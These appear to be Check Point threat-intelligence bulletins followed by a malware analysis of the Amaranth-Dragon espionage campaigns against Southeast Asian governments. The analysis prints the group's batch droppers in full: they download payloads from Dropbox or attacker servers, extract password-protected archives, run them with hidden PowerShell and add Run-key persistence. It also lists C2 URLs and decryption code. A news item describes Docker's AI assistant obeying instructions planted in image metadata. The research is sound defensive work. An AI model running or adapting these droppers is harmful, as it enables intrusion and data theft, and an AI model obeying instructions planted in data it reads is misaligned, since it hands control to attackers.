For the latest discoveries in cyber research for the week of 16th February, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Dutch telecom provider Odido was hit by a data breach following unauthorized access to its customer management system. Attackers extracted personal data of 6.2 million customers, including names, addresses, phone numbers, email addresses, bank account details, dates of birth, and passport or ID numbers.
BridgePay Network Solutions, a US payment gateway, has confirmed a ransomware attack that forced it to take core systems offline. The outage disrupted portals for municipalities and merchants nationwide, though initial findings indicate no payment card data exposure and accessed files were encrypted. No ransomware group claimed responsibility for the attack.
Flickr, a photo sharing platform, has experienced a security incident at a third-party email service provider on February 5. The exposure may include names, usernames, email addresses, IP addresses, location data, and more. Passwords and payment card numbers were not affected.
ApolloMD, a US physician and practice management services firm, has disclosed a breach impacting 626,000 individuals. The incident occurred during May 2025, while the attackers accessed patient information from affiliated practices, exposing data such as names, addresses, and medical details.
AI THREATS
Google has released an analysis of adversarial AI misuse, detailing model extraction “distillation” attacks, AI-augmented phishing, and malware experimentation in late 2025. The report identified attempts to coerce disclosure of internal reasoning, AI-assisted reconnaissance by DPRK, PRC, Iranian, and Russian actors, and AI-integrated malware such as HONESTCUE leveraging Gemini’s API for second-stage payload generation.
Researchers have investigated a UNC1069 intrusion targeting a cryptocurrency FinTech through AI-enabled social engineering and a fake Zoom ClickFix lure. The attack deployed seven malware families enabling TCC bypass, credential and browser data theft, keystroke logging, and C2 communications over RC4-encrypted configurations.
Check Point Threat Emulation provides protection against this threat (Trojan.Wins.SugarLoader)
Researchers have detailed the abuse of AI website builders to clone major brands for phishing and fraud. They analyzed a Malwarebytes lookalike site created using Vercel’s v0 tool, which replicated branding and integrated opaque PayPal payment flows. The domain leveraged SEO poisoning and spam links, with registration data indicating links to India.
VULNERABILITIES AND PATCHES
Microsoft has released its February 2026 Patch Tuesday updates. The release addresses 58 vulnerabilities, including six zero days under active exploitation, among them CVE-2026-21510, a Windows Shell Security Feature Bypass vulnerability that can be triggered by opening a specially crafted link or shortcut file. Successful exploitation requires convincing a user to open a malicious link or shortcut file.
Google has patched 11 vulnerabilities in Chrome 145 for Windows, macOS, and Linux, including CVE-2026-2313, a use-after-free vulnerability in CSS. This high-severity flaw could allow remote code execution. Two additional high severity bugs in Codecs (CVE-2026-2314) and WebGPU (CVE-2026-2315) also enable code execution.
BeyondTrust has addressed CVE-2026-1731, a CVSS 9.9 pre-authentication remote code execution flaw in Remote Support and older Privileged Remote Access versions. Shortly after a proof of concept was published, threat actors began exploiting exposed instances, prompting urgent upgrades for self-hosted deployments.
Check Point IPS provides protection against this threat (BeyondTrust Multiple Products Command Injection (CVE-2026-1731))
THREAT INTELLIGENCE REPORTS
Check Point Research analyzed global cyber-attacks in January averaging 2,090 per organization per week, up 3% from December and 17% year over year. Education remained the most targeted sector with 4,364 attacks per organization, ransomware recorded 678 incidents with 52% in North America, and 1 in 30 GenAI prompts posed high data leak risk.
Check Point Research identified a sharp increase in Valentine-themed phishing websites, fraudulent stores, and fake dating platforms designed to steal personal data and payment information. Valentine-related domain registrations rose 44% in January 2026, with 97.5% unclassified, while 710 Tinder-impersonating domains were detected.
A Phorpiex-driven phishing campaign has been observed delivering Global Group ransomware via ZIP attachments with double-extension LNK files, using CMD and PowerShell to execute the payload. The ransomware runs offline with locally generated ChaCha20-Poly1305 keys, deletes shadow copies and itself, and terminates analysis and database processes.
Researchers have analyzed the latest GuLoader (aka CloudEye) downloader, which delivers Remcos, Vidar, and Raccoon, and now evades detection by leveraging encrypted payloads hosted on Google Drive and OneDrive. The malware uses polymorphic code to generate constants via XOR and ADD/SUB operations, along with anti-analysis techniques such as sandbox checks and exception handlers.
Check Point Harmony Endpoint and Threat Emulation provide protection against this threat (Trojan.Wins.GuLoader; InfoStealer.Win.GuLoader; Dropper.Wins.GuLoader.ta.*; Dropper.Win.CloudEyE; RAT.Wins.Remcos; InfoStealer.Win.Vidar; InfoStealer.Win.Raccoon; InfoStealer.Wins.Raccoon)
For the latest discoveries in cyber research for the week of 9th February, please download our Threat Intelligence Bulletin.
TOP ATTACKS AND BREACHES
Romania’s national oil pipeline operator, Conpet, has suffered a cyberattack that disrupted its IT systems and took its website offline. The company said operational technology, including pipeline control and telecommunications systems, remained fully functional and oil transport continued without interruption. The attack was claimed by the Qilin ransomware group.
Check Point Harmony Endpoint and Threat Emulation provide protection against this threat (Ransomware.Wins.Qilin.ta.*; Ransomware.Wins.Qilin)
La Sapienza University in Rome, one of Europe’s largest universities, has confirmed a cyberattack that prompted it to take down computer systems for three days, with email and workstations partially limited. The website remains offline as the school restores services.
The City of New Britain, a municipal government in Connecticut, was hit by a ransomware attack that disrupted internet and phone services for over 48 hours. While emergency services remained operational, it is unclear whether personal data was compromised.
Onze-Lieve-Vrouw Instituut (OLV) Pulhof, a secondary school in Berchem, Belgium, has experienced a ransomware attack that escalated into extortion of parents. Attackers reduced demand from €100,000 to €15,000 and threatened to leak student and staff data or charge parents €50 per child, while the school refused payment and is investigating potential exposure.
AI THREATS
Threat actors leveraged exposed credentials from public AWS S3 buckets to launch an AI-assisted intrusion, escalating cloud privileges from ReadOnlyAccess to admin within eight to ten minutes via Lambda code injection and IAM role assumptions. The attack further abused Amazon Bedrock models for LLMjacking and provisioned GPU-based EC2 instances using JupyterLab to exploit resources, pivoting rapidly across 19 AWS principals.
Ask Gordon, Docker’s AI assistant, was affected by the critical “DockerDash” vulnerability, allowing Meta Context Injection via Model Context Protocol that treats malicious Docker image LABEL metadata as executable instructions. This enabled remote code execution and data exfiltration in cloud, CLI, and Docker Desktop environments, with mitigations released in Docker Desktop 4.50.0.
Bondu, an AI plush toy maker, exposed a web console that allowed anyone with a Google account to access 50,000 chat transcripts with children – revealing names, birth dates, family details, and intimate conversations. Researchers reported the issue, after which Bondu disabled the console and added authentication.
VULNERABILITIES AND PATCHES
Ivanti addressed two zero-days in Endpoint Manager Mobile, CVE-2026-1281 and CVE-2026-1340 (CVSS 9.8), exploited for unauthenticated code injection and remote code execution. The flaws affect in-house app distribution and Android file-transfer features, with emergency fixes issued January 29 for on-premises EPMM deployments.
Check Point IPS provides protection against this threat (Ivanti Endpoint Manager Mobile Command Injection (CVE-2026-1281, CVE-2026-1340))
Active exploitation of CVE-2025-11953, an OS command injection flaw, was detected in the React Native Community CLI and the Metro development server used by major mobile app projects. This flaw can enable unauthenticated remote code execution, including full shell access on Windows.
Check Point IPS provides protection against this threat (React Native Community CLI Command Injection (CVE-2025-11953))
n8n maintainers have released patches for a critical issue allowing authenticated users to run system commands through crafted workflows, risking full server compromise and credential theft. The flaw extends a prior expression-engine bug and fixes available in versions v1.123.17 and v2.5.2.
THREAT INTELLIGENCE REPORTS
Check Point Research observed Amaranth-Dragon, a Chinese-aligned group linked to APT41, conducting espionage against government and law enforcement across Southeast Asia. The threat actor weaponized WinRAR flaw CVE-2025-8088 within 10 days after its disclosure, geo-fenced servers to targets, and introduced TGAmaranth, a Telegram-based remote access tool.
Check Point IPS, Threat Emulation and Harmony Endpoint provide protection against this threat (RARLAB WinRAR Directory Traversal (CVE-2025-8088); Trojan.Win.Amaranth; Trojan.Wins.Amaranth.ta.*; APT.Win.APT41; APT.Wins.APT41.ta.*; Trojan.Wins.APT41.ta.*)
Check Point researchers assessed three most significant financial-sector trends in 2025. DDoS attacks surged 105%, data breaches and leaks rose 73%, and ransomware incidents reached 451 cases with aggressive multi-extortion tactics. Hacktivists drove DDoS attacks, and ransomware groups like Qilin, Akira, and Cl0p scaled operations via shared tooling and third-party access.
Check Point Threat Emulation and Harmony Endpoint provide protection against this threat (Ransomware.Wins.Qilin.ta.*; Ransomware.Wins.Qilin; Ransomware.Wins.Akira.ta.*; Ransomware.Wins.Clop; Ransomware.Wins.CLOP.ta.*; Ransomware.Win.Clop)
Check Point researchers described a phishing campaign that abused legitimate SaaS notifications from Microsoft, Zoom, Amazon, PayPal, YouTube, and Malwarebytes to drive phone-based scams. The operation sent 133,260 emails to 20,049 organizations, intensifying in recent months as attackers leveraged trusted messages to bypass link-focused defenses and steer targets to attacker-controlled phone numbers.
Check Point Research (CPR) has been tracking Amaranth-Dragon, a nexus of APT-41, previously aligned with Chinese interests. The group launched highly targeted cyber-espionage campaigns throughout 2025 against government and law enforcement agencies in Southeast Asia.
We observed overlaps between Amaranth-Dragon and APT-41’s arsenal, suggesting a possible connection or shared resources between them. Further analysis of file compilation and campaign timelines suggests the group operates in UTC+8 (China Standard Time).
Attack themes and lure documents often coincide with significant local geopolitical events, increasing the likelihood of successful compromise.
Less than ten days after the WinRAR vulnerability (CVE-2025-8088) was disclosed, Amaranth-Dragon introduced malicious RAR archives into their campaigns, exploiting this vulnerability and ultimately achieving code execution and persistence on victim systems.
The group utilizes legitimate hosting services (e.g., Dropbox) and Amaranth Loader, a custom tool to deliver encrypted payloads, primarily deploying the Havoc C2 Framework. Command and Control servers are protected by Cloudflare and configured to respond only to IP addresses from targeted countries, minimizing collateral infections and increasing campaign stealth.
A new tool was added to their arsenal, which we track as TGAmaranth RAT. The Telegram-based remote access trojan features anti-EDR and anti-AV capabilities and uses a Telegram bot as its command and control server.
Introduction
Check Point Research has identified several campaigns targeting multiple countries in the Southeast Asian region. These related activities have been collectively categorized under the codename “Amaranth-Dragon”. The campaigns demonstrate a clear focus on government entities across the region, suggesting a motivated threat actor with a strong interest in geopolitical intelligence. The campaigns frequently target law enforcement agencies, particularly the police, and often appear to be timed or themed around ongoing local political events.
The attacks are performed by the Chinese group we track as Amaranth-Dragon. A previously unknown loader we call Amaranth Loader shares similarities with tools such as DodgeBox, Dustpan and Dusttrap associated with the Chinese hacking group known as APT-41 (FBI’s most wanted cybercriminal groups), suggesting a connection or shared resources between the groups.
Their Command and Control (C&C) servers were protected behind Cloudflare, configured to accept traffic only from IP addresses within the specific country or countries targeted in each operation. Once executed, the Amaranth loader retrieves an encrypted payload, decrypts it using AES, and executes it directly in memory.
The payload most commonly deployed is the Havoc Framework, an open-source Command and Control (C&C) platform used for authorized security assessments such as penetration testing and red teaming. In legitimate contexts, Havoc enables security professionals to deploy, manage, and interact with post-exploitation agents within environments they are permitted to test.
While the initial delivery method remains uncertain, the targeted nature of the attacks suggests the use of malicious emails containing weaponized attachments. The initial file is a RAR archive exploiting CVE-2025-8088, which allows the attackers to execute arbitrary code by crafting malicious archive files.
CVE-2025-8088
The vulnerability affects WinRAR and was disclosed on August 8, 2025. A publicly available exploit tool for this vulnerability was released on GitHub on August 14, 2025. Later, on August 18, 2025, Amaranth-Dragon leveraged this vulnerability for the first time in their campaigns.
CVE-2025-8088 is a path traversal vulnerability affecting the Windows version of WinRAR that allows attackers to execute arbitrary code.
Figure 1 — Triggering CVE-2025-8088.
By crafting the malicious RAR file, the threat actors can drop a file into the Startup folder and achieve indirect code execution upon system reboot.
Amaranth-Dragon Campaigns
Since March 2025, Check Point Research has identified several campaigns attributed to Amaranth-Dragon. The campaigns have targeted several Southeast Asian countries, including Cambodia, Thailand, Laos, Indonesia, Singapore, and the Philippines. It is highly probable that additional campaigns have targeted other countries in the region; however, the highly targeted nature of these operations makes it difficult to obtain further indicators of compromise (IoCs).
Each campaign typically targets one or two countries and is coordinated around geopolitical or local events. The archive file was typically hosted by legitimate providers like Dropbox. The archive contained multiple files, including a malicious DLL, the Amaranth loader, which was sideloaded by a legitimate executable. Often, the compilation timestamp aligns with the campaign date.
Upon execution, the Amaranth loader contacts a designated URL to retrieve an AES encryption key. The AES key is retrieved from Pastebin or hosted on the group’s server, however, there were some campaigns where the key was embedded in the loader. The key is then used to decrypt an encrypted payload retrieved from a secondary URL owned by this group.
Their infrastructure enforces strict targeting. If an infected victim attempts to access the payload URL from an IP address outside the designated target country, the server responds with HTTP 403 Forbidden, preventing the payload from being delivered and effectively blocking unintended infections.
Figure 2 — Contacting C&C with an IP from Singapore.
This geo-restriction mechanism has allowed us to reliably determine the specific country targeted in each campaign, based on which IP ranges are permitted to access the C&C.
Figure 3 — Response 403 from a country that is not targeted.
The names of these campaigns and the loader were inspired by the Pastebin account that hosted the AES key for multiple operations. The account amaranthbernadine has been observed across several campaigns, each containing different pastes.
Figure 4 — amaranthbernadine Pastebin account.
Some of these campaigns also exploited CVE‑2025‑8088, which potentially allowed the threat actor to drop a script file (CMD or BAT) into the Startup folder and achieve code execution upon reboot. The script executed the Amaranth Loader by sideloading it, which then downloaded, decrypted, and executed the Havoc C2 Framework in memory.
Campaigns Timeline
Figure 5 — Amaranth-Dragon campaigns.
March 19, 2025, Cambodia
The first discovered campaign, dated March 19, 2025, appears to have targeted Cambodia, as indicated by the file name CNP_MFA_Meeting_Documents.zip. Specifically, the Cambodia National Police and/or the Ministry of Foreign Affairs were targets. At that time, the group did not exploit the CVEs as they had not yet been disclosed. Instead, the attackers used ZIP archives containing script files, such as .lnk and .bat, to decrypt and execute the Amaranth loader.
April 28, 2025, Cambodia
The second campaign, which took place on April 28, 2025, once again targeted Cambodia with an updated version of the Amaranth loader. The URL downloading the encrypted Havoc payload indicated the targeted country, drive.easyboxsync[.]com/resources/channels/v7/cambodia64.
July 3, 2025, Thailand & Laos
The third campaign was the last observed campaign without the CVE being exploited to deliver the malicious script that maintains persistence on the system and executes the Amaranth loader. This campaign targeted Thailand and Laos on July 3, 2025.
August 18, 2025, Indonesia
During the fourth campaign, which began on August 18, 2025, the group targeted Indonesia with the archive filename SK_GajiPNS_Kemenko_20250818.rar, which translates to “Official Decision (SK) regarding the Salary (Gaji) of Civil Servants (PNS) working in Coordinating Ministries (Kemenko)”. Notably, Indonesia increased the salary of Civil Servants by 8% starting from August 1, 2025. Therefore, such a filename could lure victims into opening and executing the received file. During this campaign, we observed the group exploiting CVE-2025-8088 for the first time to drop a malicious .bat file into the Startup folder, establishing persistence on the victim machine. The vulnerability had been disclosed by the vendor ten days before the campaign occurred, and the first public exploit appeared on GitHub four days prior to that.
September 5, 2025, Indonesia
In the campaign targeting Indonesia, which began on September 5, 2025, we observed that the Amaranth loader was not deployed. Instead, the attackers used a fully functional RAT that leveraged a Telegram bot as its C&C, retrieved PII (Personal Identifiable Information) and executed remote commands. The initial .rar file, Proposal_for_Cooperation_3415.05092025.rar, does not indicate any specific targeted entities. In September, several events took place that were likely connected, but we were unable to establish a definitive link between them.
September 15, 2025, Thailand, Singapore & Philippines
In the sixth campaign, the C&C server only accepted connections from Thailand, Singapore, and the Philippines, while blocking all other regions. The deployed shellcode was the Havoc C2 Framework. We are not certain of the exact date the campaign took place, as the compilation timestamp suggests September 4, 2025, while we first saw it on September 15, 2025. Based on the filename FSTR_HADR.zip .The campaign may reference two events:
Falcon Strike 2025, China‑Thailand Joint Air Force Exercise from 19–25 September 2025 in Thai airspace.
HADR operations Philippine Army – Royal Thai Army from 11–12 September 2025.
Between September 29 and October 10, we discovered another campaign themed Training_Program, which appeared to target Thailand and Singapore using the Amaranth loader.
October 15, 2025, Philippines
The last two campaigns, identified between October 15 and 23, 2025, targeted the Philippines. The first of those two campaigns, with the name OAS-2025-111.10_Minutes_Template_Salary_and_Bonus_Meeting, attempted to download the file @MrPresident_001_bot.rar. However, we were unable to retrieve it due to its very short-lived availability period.
During the latest campaign targeting the Philippine Coast Guard, we determined the group’s operational timezone using VirusTotal submissions, ZIP files, and Amaranth loader Compilation Timestamps.
2025-10-22 08:23:07 UTC DllSafeCheck64.dll (Compilation Timestamp)
The campaign provides a mix of timestamps, with two in UTC and the rest in the group’s local time zone.
During this campaign, the Amaranth loader (DLL) was embedded inside a password-protected archive named .vcredist.rar. This RAR file was added to the ZIP archive at 2025-10-22 16:24 in the group’s local time, while the DLL was compiled on the same day at 08:23 UTC. It is reasonable to assume that the malicious file was added to the RAR archive shortly after compilation (a difference of one minute and 13 seconds). In this case, the group’s operating timezone appears to be UTC+8, which aligns with China’s single standard timezone.
The latest modification time of the ZIP file is close to the campaign’s start on 2025-10-23 (first submission). The ZIP was submitted at 08:25:58 UTC, but the latest file inside shows 16:05:30 ”local time”, again indicating an 8-hour time difference. This suggests that the group added the .bat file shortly before launching the campaign.
The campaign was initiated on October 23, 2025, using the theme of the Philippines Coast Guard’s 124th Anniversary, which took place that same day. The group impersonated the “Office of the President” as part of their social engineering tactics.
Figure 6 — Philippines Coast Guard attack chain.
During this campaign, we did not observe the use of the CVE-2025-8088 vulnerability.
Both .lnk files masquerade as PDF files purportedly delivered by the Office of the President. When triggered, each executes the following command, which runs the “hidden” .bat file stored in the \\__MACOSX\\ folder.
It is interesting to note that even if only the .lnk file is extracted, executing it will extract all the files from the archive and then trigger the .bat file.
@echo off
setlocal
:: ??????
set rsz=.\\__MACOSX\\.vcredist.rar
:: ??????
:: ??????
set drp=%appdata%\\ZoomWorkspace
set exf=%appdata%\\ZoomWorkspace\\ZoomUpdate.exe
:: ??????
:: ??????
if not exist "%drp%" (
mkdir "%drp%" >NUL 2>&1
)
set "RAR32=%ProgramFiles(x86)%\\WinRAR\\Rar.exe"
set "RAR64=%ProgramFiles%\\WinRAR\\Rar.exe"
set "z32=%ProgramFiles(x86)%\\7-Zip\\7z.exe"
set "z64=%ProgramFiles%\\7-Zip\\7z.exe"
if exist "%RAR64%" (
"%RAR64%" x -hpsuu9cskRIQjsBxYtr9TH -y "%rsz%" "%drp%\\" >NUL 2>&1
if exist "%exf%" (
del /s /q /a /f "%rsz%"
powershell -WindowStyle hidden -ep Bypass -nop %exf%
)
exit /b %errorlevel%
)
if exist "%z64%" (
"%z64%" x -psuu9cskRIQjsBxYtr9TH -o "%drp%\\" -y "%rsz%" >NUL 2>&1
if exist "%exf%" (
del /s /q /a /f "%rsz%"
powershell -WindowStyle hidden -ep Bypass -nop %exf%
)
exit /b %errorlevel%
)
if exist "%RAR32%" (
"%RAR32%" x -hpsuu9cskRIQjsBxYtr9TH -y "%rsz%" "%drp%\\" >NUL 2>&1
if exist "%exf%" (
del /s /q /a /f "%rsz%"
powershell -WindowStyle hidden -ep Bypass -nop %exf%
)
exit /b %errorlevel%
)
if exist "%z32%" (
"%z32%" x -psuu9cskRIQjsBxYtr9TH -o"%drp%\\" -y "%rsz%" >NUL 2>&1
if exist "%exf%" (
del /s /q /a /f "%rsz%"
powershell -WindowStyle hidden -ep Bypass -nop %exf%
)
exit /b %errorlevel%
)
endlocal
The bat file attempts to extract two files from the password-protected archive using the password suu9cskRIQjsBxYtr9TH and stores them in %appdata%\\ZoomWorkspace\\. The executable file is legitimate and signed, which sideloads the malicious DLL Amaranth Loader.
The loader contacts hxxps://softwares.dailydownloads[.]net/products/microsoft/office/product-key/DB2F.activation.key to retrieve the AES key and hxxps://updates.dailydownloads[.]net/docs/microsoft/office/Office_Activation_Manual_DB2F.pdf to obtain the encrypted payload, which is then run in memory. The payloads we obtained were Havoc C2 Framework.
Campaign Analysis – Indonesia, 2025-09-05
The campaign targeting Indonesia took place on September 5, 2025. Its theme was Proposal_for_Cooperation_3415. The group distributed a malicious RAR file that exploits the CVE-2025-8088 vulnerability, allowing the execution of arbitrary code and maintaining persistence on the compromised machine.
Figure 7 — TGAmaranth RAT attack chain.
The RAR file drops the following benign files into the extracted directory (in the example above, the Desktop folder):
When attempting to exploit the path traversal vulnerability to drop the malicious script into the Startup folder and achieve arbitrary code execution, we observed the malware repeatedly trying different ../ path‑traversal sequences until it successfully reached the correct directory, which varies depending on where the RAR file is extracted.
Figure 8 — Path Traversal attempts to achieve code execution.
After the malicious file is dropped into the Startup folder, it executes Windows Defender Definition Update.cmd upon the next system reboot. It is noteworthy that although the RAR file exists on VirusTotal, the sandbox was unable to extract the malicious file, creating challenges for researchers, as no artifacts were available to analyze.
Figure 9 — Unable to extract the malicious CMD file.
@echo off
setlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
set "TARGET_DIR=C:\\Users\\Public\\Documents\\Microsoft"
set "ZIP_URL=hxxps://www.dropbox.com/scl/fi/ln6q8ip8k3dvx6xxyi71s/gs.rar?rlkey=w9vg1ehva23iitfdt5oh2x6cj&st=pwq86nfo&dl=1"
set "RANDOM_NAME=winupdate_v!RANDOM!!TIME:~6,2!!TIME:~3,2!"
set "ZIP_FILE=%TARGET_DIR%\\%RANDOM_NAME%.rar"
set "EXTRACT_DIR=%TARGET_DIR%\\%RANDOM_NAME%"
set "EXE_FILE=%EXTRACT_DIR%\\obs-browser-page.exe"
set "DLL_FILE=%EXTRACT_DIR%\\libcef.dll"
if exist "%EXE_FILE%" if exist "%DLL_FILE%" goto :RunProgram
if not exist "%TARGET_DIR%" mkdir "%TARGET_DIR%" >NUL 2>&1
call :Download "%ZIP_URL%" "%ZIP_FILE%"
if errorlevel 1 (
timeout /t 15 >NUL
call :Download "%ZIP_URL%" "%ZIP_FILE%"
if errorlevel 1 (
timeout /t 30 >NUL
call :Download "%ZIP_URL%" "%ZIP_FILE%"
if errorlevel 1 exit /b 1
)
)
mkdir "%EXTRACT_DIR%" >NUL 2>&1
call :Extract "%ZIP_FILE%" "%EXTRACT_DIR%" || exit /b 1
del /q "%ZIP_FILE%" >NUL 2>&1
:RunProgram
if exist "%EXE_FILE%" (
reg add "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "%RANDOM_NAME%" /t REG_SZ /d "%EXE_FILE%"
start "" "%EXE_FILE%"
)
endlocal
exit /b 0
:Download
powershell -WindowStyle Hidden -NoLogo -NoProfile -Command ^
"try { (New-Object Net.WebClient).DownloadFile('%~1','%~2'); exit 0 } catch { exit 1 }" >NUL 2>&1
if %errorlevel%==0 exit /b 0
powershell -WindowStyle Hidden -NoLogo -NoProfile -Command ^
"try { (New-Object Net.WebClient).DownloadFile('%~1','%~2'); exit 0 } catch { exit 1 }" >NUL 2>&1
if %errorlevel%==0 exit /b 0
exit /b 1
:Extract
set "RAR32=%ProgramFiles(x86)%\\WinRAR\\Rar.exe"
set "RAR64=%ProgramFiles%\\WinRAR\\Rar.exe"
if exist "%RAR64%" (
"%RAR64%" x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
exit /b %errorlevel%
)
if exist "%RAR32%" (
"%RAR32%" x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
exit /b %errorlevel%
)
where Rar.exe >NUL 2>&1
if %errorlevel%==0 (
Rar.exe x -hpS8jwaqfA0BBuWOAKrFLg -y "%~1" "%~2\\" >NUL 2>&1
exit /b %errorlevel%
)
exit /b 1
The .cmd file downloads a password‑protected RAR archive from Dropbox and saves it to C:\\Users\\Public\\Documents\\Microsoft under the name winupdate_v{random_int_cur_time}.rar. Threat actors often abuse legitimate file‑sharing services, such as Dropbox, Google Drive, GitHub, and others. Although these platforms scan uploaded files for malicious activity, password‑protecting an archive prevents the files from being extracted and their contents analyzed, which allows malicious payloads to bypass security checks.
After it’s downloaded, the RAR file is decrypted using the password S8jwaqfA0BBuWOAKrFLg. It then drops the two embedded files, obs-browser-page.exe and libcef.dll, into C:\\Users\\Public\\Documents\\Microsoft\\winupdate_v{random_int_cur_time}\\. A Run registry key is then created to maintain persistence for the executable, which will sideload the malicious DLL file. obs-browser-page.exe – 7af238050b2750da760b2cf5053bcf58054bcf44e9af1617d8b7af3ed98d09c6
The DLL file was compiled on Thu, Sep 04, 10:41:21 2025, and contains the malicious export cef_api_hash. The malware is the RAT we track as TGAmaranth RAT, and uses a Telegram Bot as its C&C.
The artifacts we observed in the campaign’s initial ZIP file were also present in another ZIP file. However, instead of downloading the encrypted RAR from Dropbox, the file was retrieved from the group’s own servers:
Interestingly, the filename @MrPresident_001_bot.rar could potentially refer to a Telegram bot, as it follows the platform’s naming conventions for bot accounts.
Amaranth Loader – Technical Analysis
The Amaranth loader is a 64-bit Windows PE DLL that executes its malicious functionality when sideloaded. The loader usually does not establish additional persistence mechanisms. However, in some campaigns and samples, we observed the creation of a Run key entry to ensure persistence.
The DLL typically contains multiple exports, in most cases, only a single export is functional, and the remaining exports point to the same address, which simply invokes an infinite Sleep loop.
Figure 10 — Amaranth Loaders DLL exports.
After the correct export is invoked by the main executable, Amaranth loader decrypts the initial URL using a hardcoded XOR key.
Figure 11 — String decryption.
The loader contacts the URL that hosts the AES key. While the majority of samples we obtained follow this approach, we also observed samples in which the AES key is embedded in the binary in encrypted form. In these cases, the same decryption process described above is used to retrieve the AES key.
Initially, the URLs used to retrieve the key were hosted on Pastebin, uploaded from a single account @amaranthbernadine. In later campaigns, the AES key was hosted on servers controlled by the threat group, similar to those in the payload.
Moving the AES keys from Pastebin to their own servers enables the attackers to apply geolocation restrictions before payload delivery.
Figure 12 — AES-key retrieved from URL.
We observed multiple User-Agent strings being passed as arguments to the InternetOpenA function, including:
"Avant Browser/1.2.789rel1 (<http://avantbrowser.com>)"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0"
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.37 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36"
"downloader"
The loader downloads the encrypted file from the second URL and decrypts it using AES-CBC with the obtained key and a hardcoded initialization vector (IV). The same IV is present in all Amaranth loader samples from the campaigns mentioned earlier: 12 34 56 78 90 AB CD EF 34 56 78 90 AB CD EF 12.
The loader allocates 4 KB of memory with PAGE_EXECUTE_READWRITE access and copies the decrypted shellcode into this memory address. It then executes the shellcode entry point. The observed shellcode was the Havoc command-and-control framework.
Example of Havoc Configuration (targeting Thailand, Singapore, Philippines –FSTR_HADR.zip):
During our analysis of the loader’s strings, we observed several development and debug artifacts, such as references to Crypto++ source file paths. These paths likely originate from the threat actors’ development environment.
In early September, we discovered a file exhibiting similarities to both Amaranth Loader and previous APT-41 reported tools (here and here). This sample was compiled on August 20, 2025, and appears to have been used in multiple attacks. We observed the same Crypto++ file artifacts as seen in Amaranth Loader, as well as the use of the DLL sideloading technique.
Of the four DLL exports, three of them point to the same address containing the Sleep instruction, while the other export, CreateWzAddrBook, implements the malicious functionality.
Figure 13 — DLL Exports.
Before entering an infinite sleep, the main export creates a thread to execute the malicious function.
Similar to Amaranth Loader, this local variant decrypts its strings using the same previously described algorithm. Although some unusual logic is present in the code, this appears to be the result of compiler optimizations, such as loop unrolling, though the result is the same.
Figure 14 — Decryption algorithm.
Python representation:
data = b'?N\\xd9\\x8c$\\x1d}\\xed\\x1c4\\x00\\x00\\x00\\x00\\x00\\x00'
key = 0x8145F15287224668
decrypted_size = 10
decrypted = bytes(
data[i] ^ (key >> i % 8) & 0xFF
for i in range(0, decrypted_size)
)
print(decrypted)
# b'WzCAB.dat\\x00'
The first decrypted string is the filename containing the encrypted shellcode, which is loaded into memory and executed. The second decrypted string is the “RC4 key” used to decrypt the shellcode. Windows API function names are also encrypted and decrypted using the same algorithm, then GetProcAddress is used to dynamically resolve these functions at runtime.
The function used to decrypt the shellcode is an RC4-like implementation. While the Key-Scheduling Algorithm (KSA) is correctly implemented, the difference from the standard RC4 algorithm lies in the Pseudo-Random Generation Algorithm (PRGA).
Below is the Amaranth-Dragon Python RC4 implementation:
def rc4_amaranth_dragon(key: bytes, data: bytes) -> bytes:
"""
Amaranth-Dragon RC4-like decryption function.
Author: @Tera0017/@_CPResearch_
"""
def KSA(key: bytes) -> list[int]:
sBox = list(range(0, 256))
b = 0
for i in range(0, 256):
b = (sBox[i] + key[i % len(key)] + b) & 0xFF
sBox[i], sBox[b] = sBox[b], sBox[i]
return sBox
def PRGA(sbox: list[int], data_size: int):
j = 0
for i in range(0, data_size):
ii = (i + 1) & 0xFF
j = (j + sbox[ii]) & 0xFF
sbox[ii], sbox[j] = sbox[j], sbox[ii]
# Amaranth-Dragon RC4 Implementation
yield i, (sbox[ii] + sbox[j]) & 0xFF
# Standard RC4 Implementation
#yield i, box[(box[ii] + box[j]) & 0xFF]
box = KSA(key)
return bytes(
data[i] ^ cipherbyte
for i, cipherbyte in PRGA(box, len(data))
)
It’s not clear if this deviation is intentional or accidental. However, standard Python libraries such as PyCryptodome do not successfully decrypt the shellcode.
Figure 15 — PRGA Implementation.
After the RC4-like decryption function completes, the malware uses the previously mentioned XOR algorithm to decrypt and dynamically resolve the necessary Windows API functions. These functions are then used to perform process injection by executing the shellcode within a fiber context.
TGAmaranth RAT is a fully functional 64-bit DLL remote access tool (RAT) that uses a hardcoded Telegram bot as its C&C. It uses an encrypted bot token to connect to https://api.telegram.org, listens for incoming bot messages, and interprets them as commands.
This file was compiled on September 4, 2025, and was used in a campaign targeting Indonesia and possibly other Southeast Asian countries. The sample follows a modus operandi similar to that of other tools observed in the Amaranth-Dragon campaigns, and is sideloaded by a legitimate executable.
Figure 16 — TGAmaranth RAT DLL exports.
The first function executed by the malware implements an anti-debugging technique to determine if the process is being debugged. This method is described in detail in this GitHub repository. In summary, the malware creates an event handler named SelfDebugging and launches a child process of itself, passing the executable filename and the parent process ID as arguments. The child process then attempts to attach to the parent process using the DebugActiveProcess. If this attempt fails, the child process signals the event handler to notify the parent that it is already being debugged. Upon detection of a debugger, both the child and parent processes terminate. If no debugger is detected, the parent process proceeds with the infection routine.
